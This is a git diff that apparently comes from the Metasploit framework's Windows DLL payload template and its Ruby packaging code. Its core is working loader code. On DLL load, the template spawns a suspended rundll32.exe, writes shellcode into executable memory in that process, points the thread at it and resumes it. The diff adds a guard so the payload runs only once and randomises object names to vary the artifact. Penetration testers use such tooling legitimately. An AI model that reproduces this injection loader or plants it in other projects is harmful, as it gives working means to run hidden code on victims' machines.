diff --git a/data/templates/src/pe/dll/build.bat b/data/templates/src/pe/dll/build.bat new file mode 100644 index 0000000000..add78405e8 --- /dev/null +++ b/data/templates/src/pe/dll/build.bat @@ -0,0 +1,14 @@ +@echo off + +if "%~1"=="" GOTO NO_ARGUMENTS +echo Compiling for: %1 +call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1 +cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS +exit /B + +:NO_ARGUMENTS +%COMSPEC% /c "%0" x86 +%COMSPEC% /c "%0" x64 +del *.obj +move *.dll ..\..\.. + diff --git a/data/templates/src/pe/dll/build.sh b/data/templates/src/pe/dll/build.sh deleted file mode 100755 index bc23dc4de7..0000000000 --- a/data/templates/src/pe/dll/build.sh +++ /dev/null @@ -1,24 +0,0 @@ -# -# XXX: NOTE: this will only compile the x86 version. -# -# To compile the x64 version, use: -# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64 -# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib -# - -if [ -z "$PREFIX" ]; then - PREFIX=i586-mingw32msvc -fi - -rm -f *.o *.dll -$PREFIX-gcc -c template.c -$PREFIX-windres -o rc.o template.rc -$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o -rm -f junk.tmp -$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp --def template.def -rm -f base.tmp -$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp -rm -f temp.exp - -$PREFIX-strip template_x86_windows.dll -rm -f *.o diff --git a/data/templates/src/pe/dll/template.c b/data/templates/src/pe/dll/template.c index e31d5ccb76..4887d5f168 100644 --- a/data/templates/src/pe/dll/template.c +++ b/data/templates/src/pe/dll/template.c @@ -5,11 +5,10 @@ /* hand-rolled bzero allows us to avoid including ms vc runtime */ void inline_bzero(void *p, size_t l) { - - BYTE *q = (BYTE *)p; - size_t x = 0; - for (x = 0; x < l; x++) - *(q++) = 0x00; + BYTE *q = (BYTE *)p; + size_t x = 0; + for (x = 0; x < l; x++) + *(q++) = 0x00; } #endif @@ -20,82 +19,119 @@ void ExecutePayload(void); BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { - switch (dwReason) - { - case DLL_PROCESS_ATTACH: + switch (dwReason) + { + case DLL_PROCESS_ATTACH: ExecutePayload(); - break; + break; - case DLL_PROCESS_DETACH: - // Code to run when the DLL is freed - break; + case DLL_PROCESS_DETACH: + // Code to run when the DLL is freed + break; - case DLL_THREAD_ATTACH: - // Code to run when a thread is created during the DLL's lifetime - break; + case DLL_THREAD_ATTACH: + // Code to run when a thread is created during the DLL's lifetime + break; - case DLL_THREAD_DETACH: - // Code to run when a thread ends normally. - break; - } - return TRUE; + case DLL_THREAD_DETACH: + // Code to run when a thread ends normally. + break; + } + return TRUE; +} + +// Use a combination semaphore / event to check if the payload is already running and when it is, don't start a new +// instance. This is to fix situations where the DLL is loaded multiple times into a host process and prevents the +// payload from being executed multiple times. An event object is used to determine if the payload is currently running +// in a child process. The event handle is created by this process (the parent) and configured to be inherited by the +// child. While the child process is running, the event handle can be successfully opened. When the child process exits, +// the event handle that was inherited from the parent will be automatically closed and subsequent calls to open it will +// fail. This indicates that the payload is no longer running and a new instance can be created. +BOOL Synchronize(void) { + BOOL bResult = TRUE; + BOOL bRelease = FALSE; + HANDLE hSemaphore = NULL; + HANDLE hEvent = NULL; + SECURITY_ATTRIBUTES SecurityAttributes; + + // step 1: define security attributes that permit handle inheritance + SecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); + SecurityAttributes.lpSecurityDescriptor = NULL; + SecurityAttributes.bInheritHandle = TRUE; + + do { + // step 2: create a semaphore to synchronize this routine + if ((hSemaphore = CreateSemaphoreA(&SecurityAttributes, 1, 1, szSyncNameS)) == NULL) { + // if the semaphore creation fails, break out using the default TRUE result, this shouldn't happen + break; + } + + bResult = FALSE; + // step 3: acquire the semaphore, if the operation timesout another instance is already running so exit + if (WaitForSingleObject(hSemaphore, 0) == WAIT_TIMEOUT) { + break; + } + bRelease = TRUE; + + // step 4: check if the event already exists + if (hEvent = OpenEventA(READ_CONTROL | SYNCHRONIZE, TRUE, szSyncNameE)) { + // if the event already exists, do not continue + CloseHandle(hEvent); + break; + } + + // step 5: if the event does not already exist, create a new one that will be inherited by the child process + if (hEvent = CreateEventA(&SecurityAttributes, TRUE, TRUE, szSyncNameE)) { + bResult = TRUE; + } + } while (FALSE); + + + // step 6: release and close the semaphore as necessary + if (hSemaphore) { + if (bRelease) { + ReleaseSemaphore(hSemaphore, 1, NULL); + } + CloseHandle(hSemaphore); + } + // *do not* close the event handle (hEvent), it needs to be inherited by the child process + return bResult; } void ExecutePayload(void) { - int error; + int error; PROCESS_INFORMATION pi; STARTUPINFO si; CONTEXT ctx; DWORD prot; - LPVOID ep; + LPVOID ep; // Start up the payload in a new process inline_bzero( &si, sizeof( si )); si.cb = sizeof(si); - // Create a suspended process, write shellcode into stack, make stack RWX, resume it - if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) { - ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL; - GetThreadContext(pi.hThread, &ctx); + if (Synchronize()) { + // Create a suspended process, write shellcode into stack, make stack RWX, resume it + if (CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) { + ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL; + GetThreadContext(pi.hThread, &ctx); - ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0); + WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0); -#ifdef _WIN64 - ctx.Rip = (DWORD64)ep; -#else - ctx.Eip = (DWORD)ep; -#endif + #ifdef _WIN64 + ctx.Rip = (DWORD64)ep; + #else + ctx.Eip = (DWORD)ep; + #endif - SetThreadContext(pi.hThread,&ctx); + SetThreadContext(pi.hThread,&ctx); - ResumeThread(pi.hThread); - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); + ResumeThread(pi.hThread); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } } - // ExitProcess(0); - ExitThread(0); + ExitThread(0); } - -/* -typedef VOID -(NTAPI *PIMAGE_TLS_CALLBACK) ( - PVOID DllHandle, - ULONG Reason, - PVOID Reserved - ); - -VOID NTAPI TlsCallback( - IN PVOID DllHandle, - IN ULONG Reason, - IN PVOID Reserved) -{ - __asm ( "int3" ); -} - -ULONG _tls_index; -PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL }; -IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 }; -*/ - diff --git a/data/templates/src/pe/dll/template.def b/data/templates/src/pe/dll/template.def deleted file mode 100644 index f5c3655fd4..0000000000 --- a/data/templates/src/pe/dll/template.def +++ /dev/null @@ -1,3 +0,0 @@ -EXPORTS -DllMain@12 - diff --git a/data/templates/src/pe/dll/template.h b/data/templates/src/pe/dll/template.h index 6a5e22dc13..26be243574 100644 --- a/data/templates/src/pe/dll/template.h +++ b/data/templates/src/pe/dll/template.h @@ -1,4 +1,5 @@ -#define SCSIZE 2048 +#define SCSIZE 4096 unsigned char code[SCSIZE] = "PAYLOAD:"; - +char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0"; +char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0"; diff --git a/data/templates/template_x64_windows.dll b/data/templates/template_x64_windows.dll index 9c524a6a98..d142adef9b 100755 Binary files a/data/templates/template_x64_windows.dll and b/data/templates/template_x64_windows.dll differ diff --git a/data/templates/template_x64_windows_mixed_mode.dll b/data/templates/template_x64_windows_mixed_mode.dll index 8b33ef8ef0..fd8685f43a 100755 Binary files a/data/templates/template_x64_windows_mixed_mode.dll and b/data/templates/template_x64_windows_mixed_mode.dll differ diff --git a/data/templates/template_x86_windows.dll b/data/templates/template_x86_windows.dll index a44e2dc650..67eb2606e0 100755 Binary files a/data/templates/template_x86_windows.dll and b/data/templates/template_x86_windows.dll differ diff --git a/data/templates/template_x86_windows_mixed_mode.dll b/data/templates/template_x86_windows_mixed_mode.dll index 7b9c9bc63a..6ad7b57f8f 100755 Binary files a/data/templates/template_x86_windows_mixed_mode.dll and b/data/templates/template_x86_windows_mixed_mode.dll differ diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index cd43db9aa8..587db1a6b4 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -545,7 +545,7 @@ require 'msf/core/exe/segment_appender' end pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method] when :dll - max_length = 2048 + max_length = 4096 when :exe_sub max_length = 4096 end @@ -562,6 +562,10 @@ require 'msf/core/exe/segment_appender' if opts[:exe_type] == :dll mt = pe.index('MUTEX!!!') pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt + %w{ Local\Semaphore:Default Local\Event:Default }.each do |name| + offset = pe.index(name) + pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset + end if opts[:dll_exitprocess] exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"